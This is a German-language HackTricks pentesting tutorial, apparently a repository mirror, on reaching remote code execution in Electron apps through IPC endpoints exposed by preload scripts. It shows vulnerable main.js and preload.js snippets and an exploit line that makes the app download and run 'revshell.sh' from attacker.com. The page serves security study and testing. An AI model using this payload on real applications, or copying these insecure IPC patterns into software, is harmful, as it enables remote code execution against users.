mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
100 lines
3.5 KiB
Markdown
100 lines
3.5 KiB
Markdown
# Electron contextIsolation RCE via IPC
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
Wenn das Preload-Skript einen IPC-Endpunkt aus der main.js-Datei bereitstellt, kann der Renderer-Prozess darauf zugreifen und, falls anfällig, könnte eine RCE möglich sein.
|
|
|
|
**Die meisten dieser Beispiele stammen von hier** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Überprüfen Sie das Video für weitere Informationen.
|
|
|
|
## Beispiel 0
|
|
|
|
Beispiel von [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (Sie haben das vollständige Beispiel, wie MS Teams XSS für RCE missbraucht hat, in diesen Folien, dies ist nur ein sehr einfaches Beispiel):
|
|
|
|
<figure><img src="../../../images/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Beispiel 1
|
|
|
|
Überprüfen Sie, wie die `main.js` auf `getUpdate` hört und **jede URL** herunterlädt und ausführt, die übergeben wird.\
|
|
Überprüfen Sie auch, wie `preload.js` **jedes IPC**-Ereignis von main bereitstellt.
|
|
```javascript
|
|
// Part of code of main.js
|
|
ipcMain.on("getUpdate", (event, url) => {
|
|
console.log("getUpdate: " + url)
|
|
mainWindow.webContents.downloadURL(url)
|
|
mainWindow.download_url = url
|
|
})
|
|
|
|
mainWindow.webContents.session.on(
|
|
"will-download",
|
|
(event, item, webContents) => {
|
|
console.log("downloads path=" + app.getPath("downloads"))
|
|
console.log("mainWindow.download_url=" + mainWindow.download_url)
|
|
url_parts = mainWindow.download_url.split("/")
|
|
filename = url_parts[url_parts.length - 1]
|
|
mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
|
|
console.log("downloadPath=" + mainWindow.downloadPath)
|
|
// Set the save path, making Electron not to prompt a save dialog.
|
|
item.setSavePath(mainWindow.downloadPath)
|
|
|
|
item.on("updated", (event, state) => {
|
|
if (state === "interrupted") {
|
|
console.log("Download is interrupted but can be resumed")
|
|
} else if (state === "progressing") {
|
|
if (item.isPaused()) console.log("Download is paused")
|
|
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
|
|
}
|
|
})
|
|
|
|
item.once("done", (event, state) => {
|
|
if (state === "completed") {
|
|
console.log("Download successful, running update")
|
|
fs.chmodSync(mainWindow.downloadPath, 0755)
|
|
var child = require("child_process").execFile
|
|
child(mainWindow.downloadPath, function (err, data) {
|
|
if (err) {
|
|
console.error(err)
|
|
return
|
|
}
|
|
console.log(data.toString())
|
|
})
|
|
} else console.log(`Download failed: ${state}`)
|
|
})
|
|
}
|
|
)
|
|
```
|
|
|
|
```javascript
|
|
// Part of code of preload.js
|
|
window.electronSend = (event, data) => {
|
|
ipcRenderer.send(event, data)
|
|
}
|
|
```
|
|
Exploit:
|
|
```html
|
|
<script>
|
|
electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
|
|
</script>
|
|
```
|
|
## Beispiel 2
|
|
|
|
Wenn das Preload-Skript direkt eine Möglichkeit bietet, `shell.openExternal` im Renderer aufzurufen, ist es möglich, RCE zu erlangen.
|
|
```javascript
|
|
// Part of preload.js code
|
|
window.electronOpenInBrowser = (url) => {
|
|
shell.openExternal(url)
|
|
}
|
|
```
|
|
## Beispiel 3
|
|
|
|
Wenn das Preload-Skript Möglichkeiten bietet, vollständig mit dem Hauptprozess zu kommunizieren, kann ein XSS jedes Ereignis senden. Die Auswirkungen hängen davon ab, was der Hauptprozess in Bezug auf IPC bereitstellt.
|
|
```javascript
|
|
window.electronListen = (event, cb) => {
|
|
ipcRenderer.on(event, cb)
|
|
}
|
|
|
|
window.electronSend = (event, data) => {
|
|
ipcRenderer.send(event, data)
|
|
}
|
|
```
|
|
{{#include ../../../banners/hacktricks-training.md}}
|